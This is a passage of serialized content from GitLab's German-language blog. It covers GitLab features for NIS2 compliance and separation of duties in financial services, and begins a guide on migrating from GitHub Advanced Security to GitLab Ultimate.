Lieferkette werden behoben.\n\nDiese Funktionen können genutzt werden, um die Anforderungen zu erfüllen, die die Mitgliedsstaaten im Rahmen dieses Gesetzesabschnittes zukünftig auf die einzelnen Unternehmen übertragen.\n\n**Abschnitt 2(e) – Sicherheitsmaßnahmen bei Erwerb, Entwicklung und Wartung von Netz- und Informationssystemen, einschließlich Management und Offenlegung von Schwachstellen.**\n\nAls umfassende DevSecOps-Plattform bietet GitLab Funktionen, mit denen die Lebenszyklen der Softwarebereitstellung unserer Kund(inn)en von Anfang bis Ende geschützt werden können.\n\n- Die [Planungstools](https://about.gitlab.com/features/?stage=plan) von GitLab können für das Projektmanagement verwendet werden und stellen sicher, dass die Informationssicherheit in allen Phasen des Projektlebenszyklus gewahrt wird. Weitere Informationen findest du unter [So unterstützt dich GitLab bei deiner ISO-27001-Compliance](https://about.gitlab.com/blog/how-gitlab-can-support-your-iso-compliance-journey/#organizational-controls).\n\n- Durch Funktionen wie [geschützte Branches](https://docs.gitlab.com/ee/user/project/protected_branches.html), [Merge-Request-Approvals](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/), [Push-Regeln](https://docs.gitlab.com/ee/push_rules/push_rules.html) und [unterzeichnete Commits](https://docs.gitlab.com/ee/user/project/repository/signed_commits/) bildet GitLab in der [Entwicklungsphase](https://about.gitlab.com/features/?stage=create) eine sichere Grundlage, auf deren Basis Entwickler(innen) bei der Iteration und Erstellung von sicherem Code arbeiten können.\n\n![Unterzeichnete Commits](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674396/Blog/Content%20Images/Screenshot_2024-08-20_at_10.34.24.png)\n\n- Die oben genannten Funktionen der [Sicherungsphase](https://about.gitlab.com/features/?stage=verify) von GitLab bilden eine auf Sicherheit fokussierte Grundlage für die [Verifizierungs-](https://about.gitlab.com/features/?stage=verify), [Paket-](https://about.gitlab.com/features/?stage=package) und [Bereitstellungsphasen](https://about.gitlab.com/features/?stage=deploy) von GitLab. Zu diesen Phasen gehören Kernfunktionen der [kontinuierlichen Integration](https://about.gitlab.com/features/?stage=verify)/[kontinuierlichen Lieferung](https://about.gitlab.com/features/?stage=deploy) wie [MR-Pipelines](https://docs.gitlab.com/ee/ci/merge_request_pipelines/) und [geschützte Runner](https://docs.gitlab.com/ee/ci/runners/#prevent-runners-from-revealing-sensitive-information) sowie mehrere Artefaktregister für organisatorische Anforderungen.\n\n- Die [Überwachungsphase](https://about.gitlab.com/features/?stage=monitor) von GitLab bietet Funktionen wie [Warnungen](https://docs.gitlab.com/ee/operations/incident_management/alerts.html) und [Vorfälle](https://docs.gitlab.com/ee/operations/incident_management/incidents.html), mit denen Unternehmen auf Vorfälle aufmerksam werden und diese bis zur Behebung in GitLab nachverfolgen können.\n\n- Die Funktionen von GitLab für die [Regulierungsphase](https://about.gitlab.com/features/?stage=govern) setzen den Standard dafür, wer eine GitLab-Instanz auf welche Weise verwenden kann. Sie tragen auch zu den allgemeinen Compliance-Bemühungen eines Unternehmens bei.\n - Funktionen wie [SCIM](https://docs.gitlab.com/ee/administration/settings/scim_setup.html), [SSO](https://docs.gitlab.com/ee/user/group/saml_sso/) und [benutzerdefinierte Rollen](https://docs.gitlab.com/ee/user/custom_roles.html) tragen effektiv zu Authentifizierungs- und Autorisierungslebenszyklen bei.\n - [MR-Approvalrichtlinien](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) sind ein leistungsstarkes Tool für die Implementierung eines Sicherheitstors in deinem Software-Entwicklungsprozess. Mithilfe von MR-Approvalrichtlinien kann ein Unternehmen zusätzliche Approvals für Ereignisse erfordern, z. B. wenn nach einem Commit Sicherheitslücken erkannt werden oder bestimmte Lizenztypen in Abhängigkeiten erkannt werden. Außerdem sind sie für alle MR erforderlich, die für einen bestimmten geschützten Branch erstellt wurden. MR-Approvalrichtlinien sind in GitLab-Ultimate-Abonnements enthalten.\n - Mit [GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/) können Unternehmen die Funktion zum [Erklären von Sicherheitslücken](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/index.html#explaining-a-vulnerability nutzen, um:\n - Sicherheitslücken zusammenzufassen\n - Entwickler(inne)n und Sicherheitsanalytiker(inne)n zu helfen, die Sicherheitslücken zu verstehen und herauszufinden, wie diese ausgenutzt und behoben werden können\n - eine Abhilfemaßnahme vorzuschlagen \n - [Streaming von Audit-Ereignissen](https://docs.gitlab.com/ee/user/compliance/audit_event_streaming.html) ermöglichen es Unternehmen, Audit-Ereignisse von ihrer Hauptgruppe an einen externen Standort zu senden, um alle Ereignisse zu Gruppen, Untergruppen und Projekten zu erhalten. Das Streaming von Audit-Ereignissen ist in GitLab-Ultimate-Abonnements enthalten.\n - Ein starkes Insider-Bedrohungsprogramm kombiniert mehrere Ebenen von erkennenden, präventiven und reaktiven Kontrollen. Die [Ratenbegrenzung von Git für die Verhinderung von Missbrauch](https://docs.gitlab.com/ee/user/group/reporting/git_abuse_rate_limit.html) benachrichtigt Administrator(inn)en automatisch, wenn ein(e) Benutzer(in) mehr als eine bestimmte Anzahl von Repositories einer Gruppe in einem bestimmten Zeitraum herunterlädt, klont, pullt, abruft oder forked. Unternehmen können noch einen Schritt weiter gehen und automatische Sperren einrichten, um Benutzer(innen) nach Verstößen aus der Gruppe und ihren Untergruppen zu verbannen. Die Ratenbegrenzung von Git für die Verhinderung von Missbrauch ist in GitLab-Ultimate-Abonnements enthalten.\n - Das Thema “erkannte Sicherheitslücken” wird im [Sicherheitslückenbericht](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) von GitLab noch weiter vertieft und enthält auch Informationen über Sicherheitslücken aus Scans des Standard-Branchs. Wenn du dich für die Sicherheitslückenberichte interessierst, hol dir das GitLab-Ultimate-Abonnement noch heute.\n\n![Sicherheitslückenbericht](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674396/Blog/Content%20Images/Screenshot_2024-08-20_at_10.32.02.png)\n\n**Abschnitt 2(j) – Verwendung von Lösungen zur Multi-Faktor-Authentifizierung oder kontinuierlichen Authentifizierung, gesicherte Sprach-, Video- und Textkommunikation sowie gegebenenfalls gesicherte Notfallkommunikationssysteme innerhalb der Einrichtung.**\n\nGitLab bietet mehrere Multi-Faktor-Authentifizierungsoptionen, um einen strengeren Authentifizierungsprozess zu unterstützen. Kund(inn)en können die [Multi-Faktor-Authentifizierungsoption](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html) nutzen, die ihren Anforderungen entspricht, oder sie können [SSO](https://docs.gitlab.com/ee/user/group/saml_sso/) implementieren, um den Authentifizierungsprozess noch weiter zu verbessern.\n\n## Wie geht es weiter mit NIS2?\n\nDie Mitgliedstaaten haben zwar noch keine umfassenden Leitlinien als Reaktion auf die NIS2-Richtlinie erlassen, aber die GitLab-Plattform ist bereits jetzt gut gerüstet, um die Anforderungen für den Software-Entwicklungsprozess zu erfüllen, sobald diese eingeführt werden.\n\nWeitere Informationen zu den Funktionen in diesem Artikel findest du in unserer [Tutorial-Bibliothek](https://docs.gitlab.com/ee/tutorials/).\n\n> Um loszulegen, [melde dich für eine kostenlose Testversion von GitLab Ultimate an](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial).\n",[806,14,677],"2025-03-25",{"slug":931,"featured":93,"template":683},"how-gitlab-helps-meet-nis2-requirements","content:de-de:blog:how-gitlab-helps-meet-nis2-requirements.yml","How Gitlab Helps Meet Nis2 Requirements","de-de/blog/how-gitlab-helps-meet-nis2-requirements.yml","de-de/blog/how-gitlab-helps-meet-nis2-requirements",{"_path":937,"_dir":248,"_draft":6,"_partial":6,"_locale":7,"seo":938,"content":944,"config":952,"_id":954,"_type":16,"title":955,"_source":18,"_file":956,"_stem":957,"_extension":21},"/de-de/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features",{"title":939,"description":940,"ogTitle":939,"ogDescription":940,"noIndex":6,"ogImage":941,"ogUrl":942,"ogSiteName":794,"ogType":795,"canonicalUrls":942,"schema":943},"FinServ: So implementierst du die Funktion zur Aufgabentrennung von GitLab","Wie GitLab eine sichere Softwareentwicklung mit Aufgabentrennung im Finanzdienstleistungssektor gewährleistet, einschließlich der Einhaltung regulatorischer Rahmenbedingungen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097688/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%286%29_6vL96ttKF8zJLLqfPpvFs_1750097687913.png","https://about.gitlab.com/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features","\n {\n \"@context\": \"https://schema.org\",\n \"@type\": \"Article\",\n \"headline\": \"FinServ: So implementierst du die Funktion zur Aufgabentrennung von GitLab\",\n \"author\": [{\"@type\":\"Person\",\"name\":\"Cherry Han\"},{\"@type\":\"Person\",\"name\":\"Gavin Peltz\"}],\n \"datePublished\": \"2024-08-13\",\n }",{"title":939,"description":940,"authors":945,"heroImage":941,"date":948,"body":949,"category":14,"tags":950,"updatedDate":951},[946,947],"Cherry Han","Gavin Peltz","2024-08-13","Während der gesamten Softwareentwicklung sind robuste Sicherheits- und Compliance-Maßnahmen erforderlich, insbesondere in Branchen wie Finanzdienstleistungen, in denen Datenintegrität und Einhaltung der Vorschriften nicht verhandelbar sind. Ein kritischer Aspekt bei der Einhaltung dieser Standards ist die **Aufgabentrennung (SoD, \"Segregation of Duties\")**.\n\n**SoD stellt sicher, dass keine Person die vollständige Kontrolle über einen Prozess vom Anfang bis zum Ende hat**, wodurch das Risiko von Fehlern und unbefugten Aktivitäten verringert wird. SoD verringert die Risiken der Software-Lieferkette, indem externe und böswillige Handlungen verhindert werden, die die Integrität des Softwareentwicklungsprozesses beeinträchtigen könnten.\n\n## Bedeutung von SoD in der Finanzdienstleistungsbranche\n\nIm Finanzdienstleistungssektor spielt SoD eine entscheidende Rolle beim Schutz sensibler Informationen und der Einhaltung der Vorschriften. So trägt SoD strategisch zur Branche bei:\n\n* **Risikominderung:** Durch die Verteilung der Verantwortlichkeiten auf verschiedene Rollen verringert SoD das Risiko von Fehlern, Betrug und unbefugten Aktivitäten, die die Systemintegrität oder die Einhaltung der Vorschriften beeinträchtigen könnten.\n* **Verbesserte Verantwortlichkeit:** Eine klare Aufteilung der Aufgaben garantiert, dass keine Person einen Prozess von Anfang bis Ende unabhängig initiieren, autorisieren und ausführen kann. Dies fördert Transparenz und Verantwortlichkeit, die für die Aufrechterhaltung des Vertrauens bei Stakeholdern und Aufsichtsbehörden von entscheidender Bedeutung sind.\n* **Einhaltung der Vorschriften:** SoD ist durch die Finanzvorschriften vorgeschrieben, sodass sensible Vorgänge unter Aufsicht und Kontrolle durchgeführt werden. Die Einhaltung dieser Standards vermeidet nicht nur Strafen, sondern schützt auch den Ruf des Unternehmens.\n* **Betriebliche Widerstandsfähigkeit:** Durch die Dezentralisierung der Entscheidungsfindung und -ausführung werden Unternehmen weniger anfällig für Störungen, die durch menschliche Fehler, böswillige Handlungen oder unerwartete Ereignisse verursacht werden.\n\n## GitLab für SoD und Best Practices\nGitLab bietet eine durchgängige Aufgabentrennung für den DevSecOps-Workflow.\n\n![FinServ SOD - Bild 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097695/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097695697.png)\n\nDas obige Diagramm veranschaulicht die Integration von Schlüsselelementen wie Genehmigungsrichtlinien für die Genehmigung von Merge Requests, geschützte Funktionen, Benutzerberechtigungen, Compliance-Frameworks und Audit-Ereignisse, die alle zusammenarbeiten, um die Prinzipien von SoD aufrechtzuerhalten. Jede dieser Komponenten wird in den folgenden Abschnitten beschrieben und zeigt, wie man eine sichere und konforme Entwicklungsumgebung einrichtet.\n\n### Merge-Request-Genehmigungsrichtlinien\n\nEine Herausforderung für die Finanzdienstleistungsbranche ist die Implementierung von Genehmigungsmechanismen, die verhindern, dass unbefugte oder unkontrollierte Änderungen integriert werden. Hier kommen [Merge-Request-Genehmigungsrichtlinien](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) ins Spiel. Diese Richtlinien erzwingen die Aufgabentrennung zwischen Sicherheit und Entwicklung und verhindern, dass einzelne Entwickler(innen) ihre eigenen Codeänderungen genehmigen, wenn sie Schwachstellen enthalten, und dass Entwicklungsteams ihren Code ohne angemessene Aufsicht direkt in Produktivumgebungen bereitstellen. \n\nBei der Erstellung einer Richtlinie ist es ratsam zu überlegen, wer eine geeignete Person für die Genehmigung wäre. Dies kann als ein(e) einzelne(r) Benutzer(in), eine Gruppe wie das Anwendungssicherheitsteam oder ein Rollentyp wie ein(e) Betreuer(in) definiert werden. Um weitere Einschränkungen zu implementieren, beachte bitte diese wichtigen Richtlinienmerkmale:\n\n- Verhindern der Genehmigung durch den bzw. die Autor(in): Diese Richtlinie legt Leitlinien fest, sodass ein(e) Merge-Request-Autor(in) seine eigenen Änderungen nicht genehmigen kann. Indem diese Richtlinie eine unabhängige Überprüfung erfordert, hilft sie, Objektivität und Unparteilichkeit im Genehmigungsprozess aufrechtzuerhalten.\n\n- Verhindern von Genehmigungen durch Benutzer(innen), die Commits hinzufügen: Benutzer(innen), die Commits zu einem Merge Request hinzugefügt haben, werden ebenfalls daran gehindert, diesen zu genehmigen. Dadurch wird das Prinzip der unabhängigen Überprüfung weiter durchgesetzt, sodass Änderungen von Teammitgliedern überprüft werden, die nicht direkt an den Änderungen beteiligt sind.\n\n- Verhindern des Bearbeitens von Genehmigungsregeln: Um die Integrität des Genehmigungsprozesses aufrechtzuerhalten, ermöglicht GitLab Administrator(inn)en, das Bearbeiten von Genehmigungsregeln auf Projekt- oder Merge-Request-Ebene zu verhindern. Dies garantiert, dass einmal definierte Genehmigungsrichtlinien nicht von unbefugten Benutzer(inne)n umgangen oder geändert werden können.\n\n- Benutzerpasswort zum Genehmigen anfordern: Für eine zusätzliche Sicherheitsebene kann GitLab von Benutzer(inne)n verlangen, dass sie ihr Passwort eingeben, um einen Merge Request zu genehmigen. \n\nUm eine klare Aufgabentrennung aufrechtzuerhalten, ist es ratsam, [eine separate Hauptgruppe zu erstellen](https://docs.gitlab.com/ee/user/application_security/policies/#enforce-policies-globally-in-gitlab-dedicated-or-your-gitlab-self-managed-instance), die sich mit der Unterbringung deiner Sicherheitsrichtlinien befasst, einschließlich der Richtlinien für die Genehmigung von Merge Requests. Dieses Setup minimiert die Anzahl der Benutzer(innen), die Berechtigungen erben, und erzwingt eine strengere Kontrolle über die Richtlinienverwaltung. Von dieser separaten Gruppe aus kannst du auf der höchsten Gruppenebene, die mit deinen Zielen übereinstimmt, den Verwaltungsaufwand für Richtlinien reduziert und eine umfassende Abdeckung Ihrer Entwicklungsumgebung bietet, [Sicherheitsrichtlinienprojekte verlinken](https://docs.gitlab.com/ee/user/application_security/policies/#link-to-a-security-policy-project).\n\nDu solltest auch beachten, dass eine Richtlinie, die standardmäßig aktiviert ist, für alle Projekte innerhalb der verlinkten Gruppen, Untergruppen und einzelnen Projekte gilt. Wenn du Richtlinien selektiver durchsetzen möchtest, empfiehlt GitLab, deine Richtlinien auf ein [Compliance-Framework-Label](https://docs.gitlab.com/ee/user/group/compliance_frameworks.html) auszudehnen. In der Regel werden unsere stark regulierten Kund(inn)en Compliance-Labels entwerfen, die den regulatorischen Anforderungen entsprechen, wie „SOX“ und „PCI“. Dieser Link zu einem Framework ermöglicht es dem [nativen Compliance-Center](https://docs.gitlab.com/ee/user/compliance/compliance_center/) auch, Sicherheitsrichtlinien zu verwalten, die auf verschiedene Anwendungsfälle zugeschnitten sind.\n\n### Compliance-Frameworks und -Kontrollen\n\nKund(inn)en in regulierten Branchen stehen vor großen Herausforderungen bei der Einhaltung der Vorschriften in großen Unternehmen. Manuelle Prozesse sind fehleranfällig, und die konsistente Durchsetzung von Richtlinien über Teams hinweg kann schwierig sein.\n\nDurch die Verwendung der Compliance-Frameworks von GitLab können Unternehmen Präventionsmaßnahmen automatisieren und verwalten, Risiken systematisch verwalten und die Einhaltung gesetzlicher Vorschriften nahtlos durchsetzen. Diese Frameworks können Sicherheitsprotokolle und benutzerdefinierte Jobs in jeder Pipeline erzwingen. \n\nUm die Compliance-Einstellungen auf Organisationsebene zu schützen, ermöglicht GitLab nur Gruppen- oder Projekteigentümer(innen), Compliance Frameworks hinzuzufügen oder zu entfernen. Diese Maßnahme verhindert, dass Entwicklungsteams oder Führungskräfte Compliance-Konfigurationen ohne die entsprechenden Berechtigungsstufen ändern, und bietet auf diese Weise eine zusätzliche Sicherheitsebene. Dabei sollte Folgendes beachtet werden: Wenn Personen mit Betreuerberechtigung eine Untergruppe erstellen können, werden sie zu Eigentümer(innen) der jeweiligen Untergruppe und können das Compliance-Framework ändern. Dies kann verhindert werden, indem [begrenzt wird, welche Personen Untergruppen erstellen können](https://docs.gitlab.com/ee/user/group/subgroups/#change-who-can-create-subgroups), und zwar unter den Berechtigungen und Gruppeneinstellungen.\n\n## SoD durch Berechtigungen und Rollen\n\nUm die Aufgabentrennung in der Finanzdienstleistungsbranche auf effektive Weise durchzusetzen, ist entscheidend, dass eine klare und präzise Zugriffskontrolle etabliert wird. GitLab bietet ein abgestuftes [Berechtigungsmodell](https://docs.gitlab.com/ee/user/permissions.html) mit vordefinierten Rollen, zum Beispiel Gast, Reporter(in), Entwickler(in), Betreuer(in) und Eigentümer(in). Jede Rolle verfügt über eine bestimmte Reihe von Berechtigungen, damit Personen ihre Aufgaben erfüllen können, ohne Grenzen zu überschreiten, was wiederum zu Interessenskonflikten oder Sicherheitsrisiken führen könnte. GitLab empfiehlt eine entsprechende Zuweisung der jeweiligen Rollen für einen [Zugriff gemäß dem Prinzip der geringsten Privilegien](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/).\n\nWas Unternehmen mit granularen Anforderungen betrifft (dies gilt besonders für alle, die GitLab Ultimate nutzen), bieten [benutzerdefinierte Rollen](https://docs.gitlab.com/ee/user/custom_roles.html) noch mehr Flexibilität. Diese Rollen ermöglichen Unternehmen, spezifische Berechtigungen festzulegen, die ganz auf ihre individuellen Workflows und Compliance-Anforderungen zugeschnitten sind. Dies ist besonders nützlich, wenn es darum geht, die Aufgabentrennung durchzusetzen, da auf diese Weise keine Person unvereinbare Aufgaben ausführen kann.\n\nEin gängiger Anwendungsfall ist die Notwendigkeit einer Bereitstellungsrolle – dies betrifft Personen, die Jobs bereitstellen müssen, aber keinen Zugriff für das Bearbeiten oder Pushen von Code haben sollten. GitLab berücksichtigt diese Anforderung durch den Einsatz von [geschützten Umgebungen](https://docs.gitlab.com/ee/ci/environments/protected_environments.html#protecting-environments). Geschützte Umgebungen ermöglichen dir, [Gruppen einzuladen, die zur Bereitstellung von Jobs zugelassen wurden](https://docs.gitlab.com/ee/ci/environments/protected_environments.html#deployment-only-access-to-protected-environments), während die Rolle der Nutzer(innen) auf Reporter(innen) beschränkt wird. Dabei sollte beachtet werden, dass der Bereitstellungsjob auch das Keyword für die Umgebung umfassen sollte. Mit dieser Konfiguration können Nutzer(innen) Jobs bereitstellen, ohne den Code bearbeiten zu können. Damit wird sichergestellt, dass die Compliance-Anforderungen erfüllt werden. \n\nDurch sorgfältige Festlegung und Durchsetzung von Rollen und Berechtigungen können Unternehmen eine sichere und konforme Entwicklungsumgebung schaffen. Wenn du deine Berechtigungen für Nutzer(innen) in einem breiteren Rahmen überprüfen möchtest, kannst du diesen [Bericht für Gruppenmitglieder](https://gitlab.com/gitlab-com/cs-tools/gitlab-cs-tools/gitlab-group-member-report) nutzen, um festzustellen, wie viele Mitglieder einer Rolle in deiner Umgebung sind, und die nächsten Schritte entsprechend beurteilen.\n\n## Geschützte Funktionen\nGitLab bietet mehrere „geschützte” Funktionen, mit denen zusätzliche Ebenen für die Kontrolle über deinen Entwicklungsprozess durchgesetzt werden können. Diese Funktionen können entscheidend für die Aufrechterhaltung der SoD sein, sodass nur bestimmte Personen wesentliche Änderungen vornehmen können.\n\n- Geschützte Branches: Ein geschützter Branch beschränkt, welche Personen zum Branch pushen oder zusammenführen oder einen Push erzwingen können. Dies ist besonders vorteilhaft für Branches wie „Main“ oder „Produktion“. So können nur autorisierte Nutzer(innen) Änderungen vornehmen.\n- Geschützte Git-Tags: Diese Tags ermöglichen Kontrolle darüber, welche Personen zur Erstellung von Tags berechtigt sind. Dies verhindert versehentliche Updates oder Löschungen, nachdem das Tag erstellt wurde, sodass die Integrität deiner Versionsverwaltung erhalten bleibt.\n- Geschützte Umgebungen: Der Schutz bestimmter Umgebungen (besonders Produktionen) vor unbefugtem Zugriff ist unerlässlich. In einer geschützten Umgebung können nur Nutzer(innen) mit den entsprechenden Berechtigungen bereitstellen, wodurch die Umgebung vor unbeabsichtigten Änderungen geschützt wird. Dies basiert auf der bereits erwähnten Funktionalität der Bereitstellungsrolle, bei der Personen zwar Jobs bereitstellen, aber den Code nicht bearbeiten können, sodass Compliance und Sicherheit gewährleistet werden.\n- Geschützte Pakete: Mithilfe von Schutzregeln für Pakete wird eingeschränkt, welche Nutzer(innen) Änderungen an deinen Paketen vornehmen können. \nDiese geschützten Funktionen tragen zusammen zur Aufrechterhaltung einer sicheren und konformen Entwicklungsumgebung bei, die mit den Grundsätzen der SoD übereinstimmt.\n\n## Audit Event und Compliance Center\nNachdem wir nun die Approvalrichtlinien, Compliance Frameworks, Rollen und geschützten Funktionen behandelt haben, kommen wir zum letzten Schritt: die Frage, wie du mithilfe von GitLab diese Implementierungen überwachen und überprüfen kannst, um die Einhaltung sicherzustellen. \n\nGitLabs [Audit Events](https://docs.gitlab.com/ee/user/compliance/audit_events.html) bieten Eigentümer(innen) und Administrator(innen) eine detaillierte Aufzeichnung der Aktivitäten und Änderungen, darunter die Aktivität der Nutzer(innen) und Projektänderungen. Diese Protokollierung ist entscheidend, wenn es darum geht, die Aktionen der Nutzer(innen) zu verfolgen und unbefugtes Verhalten zu erkennen. \n\nDas [Streaming von Audit Events](https://docs.gitlab.com/ee/user/compliance/audit_event_streaming.html) verbessert diesen Aspekt zusätzlich, indem es Unternehmen ermöglicht, Audit Events zur Echtzeitanalyse und Alarme an externe Systeme zu streamen. Auf diese Weise werden jegliche Änderungen oder Verstöße erkannt, was wiederum eine schnelle Behebung ermöglicht.\n\nDas [Compliance Center in GitLab](https://docs.gitlab.com/ee/user/compliance/compliance_center/) ist ein zentraler Punkt für die Verwaltung und Überwachung von Compliance-Aktivitäten. Es bietet einen Überblick zum Compliance-Status über diverse Projekte und Gruppen hinweg und zeigt Verstöße gegen die Approvalregeln für Merge Requests oder andere Richtlinien. Administrator(innen) können Probleme direkt beheben und sich vergewissern, dass die vordefinierten Compliance-Standards eingehalten werden. Dieser zentralisierte Ansatz vereinfacht das Compliance-Management, wobei ein hohes Maß an Beaufsichtigung und Kontrolle gewährleistet wird.\n\n> Weitere Informationen von GitLab zu den Themen SoD und Compliance findest du unter [GitLab-Regulierung der Produktrichtung](https://about.gitlab.com/direction/govern/) und der [GitLab-Compliance-Dokumentation](https://docs.gitlab.com/ee/administration/compliance.html). \n\n## Weiterlesen\n\n- [Erfülle regulatorische Standards mit dem Compliance- und Sicherheitsrichtlinien-Management von GitLab](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/) (Englischsprachiger Artikel)\n- [Die Erstellung von GitLab mithilfe von GitLab: Erweiterung unseres Portfolios an Sicherheitszertifizierungen](https://about.gitlab.com/blog/building-gitlab-with-gitlab-expanding-our-security-certification-portfolio/) (Englischsprachiger Artikel)\n- [Der Online-Händler Bol erfüllt die wachsenden Compliance-Anforderungen mit GitLab](https://about.gitlab.com/blog/online-retailer-bol-tackles-growing-compliance-needs-with-gitlab/) (Englischsprachiger Artikel)",[14,806,677,558],"2025-04-22",{"slug":953,"featured":6,"template":683},"finserv-how-to-implement-gitlabs-separation-of-duties-features","content:de-de:blog:finserv-how-to-implement-gitlabs-separation-of-duties-features.yml","Finserv How To Implement Gitlabs Separation Of Duties Features","de-de/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features.yml","de-de/blog/finserv-how-to-implement-gitlabs-separation-of-duties-features",{"_path":959,"_dir":248,"_draft":6,"_partial":6,"_locale":7,"seo":960,"content":966,"config":976,"_id":978,"_type":16,"title":979,"_source":18,"_file":980,"_stem":981,"_extension":21},"/de-de/blog/migration-guide-github-advanced-security-to-gitlab-ultimate",{"ogTitle":961,"schema":962,"ogImage":963,"ogDescription":964,"ogSiteName":794,"noIndex":6,"ogType":795,"ogUrl":965,"title":961,"canonicalUrls":965,"description":964},"GitLab Ultimate vs GitHub Security: Vergleich & Migration","\n {\n \"@context\": \"https://schema.org\",\n \"@type\": \"Article\",\n \"headline\": \"Migrationsleitfaden: GitHub Advanced Security zu GitLab Ultimate\",\n \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n \"datePublished\": \"2024-05-01\",\n }\n ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666187/Blog/Hero%20Images/blog-image-template-1800x945__6_.png","GitLab Ultimate vs GitHub Security 2025: Vergleiche Features, Preise und Vorteile. Plus Schritt-für-Schritt-Anleitung für deine erfolgreiche Migration.","https://about.gitlab.com/blog/migration-guide-github-advanced-security-to-gitlab-ultimate",{"heroImage":963,"body":967,"authors":968,"updatedDate":969,"date":970,"title":971,"tags":972,"description":975,"category":14},"GitLab ist die umfassendste KI-gestützte DevSecOps-Plattform. Unternehmen\nkönnen mit dieser Plattform für den gesamten Lebenszyklus der\nSoftwareentwicklung (SDLC) sicherere Software schneller bereitstellen. \n\n\nGitHub bietet eine Advanced Security-Erweiterung, die zusätzliche Sicherheitsfunktionen in GitHub ermöglicht. Es fehlen jedoch die Tiefe und Breite der Sicherheitsfunktionen, die GitLab nativ bereitstellt. \n\n\nUnternehmen, die auf GitLab Ultimate migrieren möchten, um ihre Sicherheit in allen Bereichen des SDLC zu verbessern, können diesen Leitfaden verwenden, um die beiden Angebote zu vergleichen. Er kann auch als Tutorial für den Wechsel zur GitLab-Plattform genutzt werden.\n\n\n**Hinweis**: Dieser Artikel wurde zuletzt im Juni 2025 aktualisiert, um die neuesten Änderungen in GitHubs Produktstrategie zu berücksichtigen.\n\n\nIn diesem Artikel findest du folgende Kapitel:\n\n\n– [Ein Vergleich zwischen GitLab Ultimate und GitHub Advanced Security](#a-comparison-between-gitlab-ultimate-and-github-advanced-security)\n\n– [So migrierst du ein GitHub-Repository zu GitLab](#how-to-migrate-a-github-repository-to-gitlab)\n\n– [So migrierst du Feature für Feature von GitHub Advanced Security zu GitLab Ultimate](#how-to-migrate-feature-by-feature)\n\n– [Eine Einführung in die zusätzlichen Sicherheitsfunktionen von GitLab Ultimate](#additional-gitlab-ultimate-security-features)\n\n\n## Ein Vergleich zwischen GitLab Ultimate und GitHub Advanced Security\n\n\n[GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/) ist die höchste Abonnementstufe von GitLab für Unternehmen, die sichere Software schneller bereitstellen möchten. GitHub Advanced Security ist eine Erweiterung für GitHub Enterprise und ermöglicht zusätzliche Sicherheitsfunktionen.\n\n\n\\### Ähnlichkeiten zwischen GitLab Ultimate und GitHub Advanced Security\n\n\nGitLab Ultimate und GitHub Advanced Security bieten:\n\n– Statische Anwendungssicherheitstests ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)), Geheimnis- und Abhängigkeitssuche\n\n– kontextbezogene Intelligenz von Sicherheitslücken und Lösungsberatung \n\n– eine Liste von Abhängigkeiten oder Software-Stückliste ([SBOM](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/))\n\n– Sicherheitsmetriken und -einblicke\n\n\n### Unterschiede zwischen GitLab Ultimate und GitHub Advanced Security\n\n\nWährend sich GitHubs Sicherheitstools verbessert haben (mit Push Protection, die 2024 Millionen von Secrets blockiert hat), bietet GitLab Ultimate weiterhin eine tiefere DevSecOps-Integration mit Funktionen, die in GitHubs eigenständigen Produkten nicht verfügbar sind:\n\n\n* [Compliance-Frameworks und Audit-Management](https://docs.gitlab.com/ee/user/compliance/compliance_center/)\n\n* [Sicherheits-Dashboard](https://docs.gitlab.com/ee/user/application_security/security_dashboard/) über gesamte Gruppen/Organisationen\n\n* Native [DAST](https://docs.gitlab.com/ee/user/application_security/dast/) und [API-Fuzzing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/)\n\n* Integrierter Workflow für [Schwachstellenmanagement](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/)\n\n* [Benutzerdefinierte Sicherheitsrichtlinien](https://docs.gitlab.com/ee/user/application_security/policies/) mit [granularen Kontrollen](https://docs.gitlab.com/ee/user/custom_roles.html)\n\n\nDiese integrierten Funktionen bedeuten, dass Teams weniger Zeit mit dem Wechsel zwischen Tools verbringen und mehr Zeit für die Sicherung ihrer Anwendungen haben.\n\n\nGitLab Ultimate bietet auch zusätzliche Sicherheits- und Konformitätsfunktionen, Portfolio- und Wertschöpfungskettenmanagement, Unterstützung bei Live-Upgrades und mehr. Weitere Informationen zu diesen zusätzlichen Funktionen findest du in der [GitLab Ultimate-Dokumentation](https://about.gitlab.com/pricing/ultimate/).RetryClaude can make mistakes. Please double-check responses.\n\n\n### Wichtige Änderungen bei GitHub Advanced Security (2025)\n\n\nSeit April 2025 hat GitHub Advanced Security in zwei separate Produkte aufgeteilt: Secret Protection (19$/Monat pro aktivem Committer) und Code Security (30$/Monat pro aktivem Committer). Obwohl dieser modulare Ansatz kosteneffektiv erscheinen mag, benötigen Organisationen in der Regel beide Produkte für umfassende Sicherheitsabdeckung, was zu 49$/Monat pro aktivem Committer führt - wodurch GitLab Ultimates einheitlicher Ansatz für Teams, die vollständige Sicherheitsfunktionen benötigen, potenziell wirtschaftlicher ist.\n\n\nGitHub bietet diese Sicherheitsprodukte nun auch Team-Plan-Kunden ohne 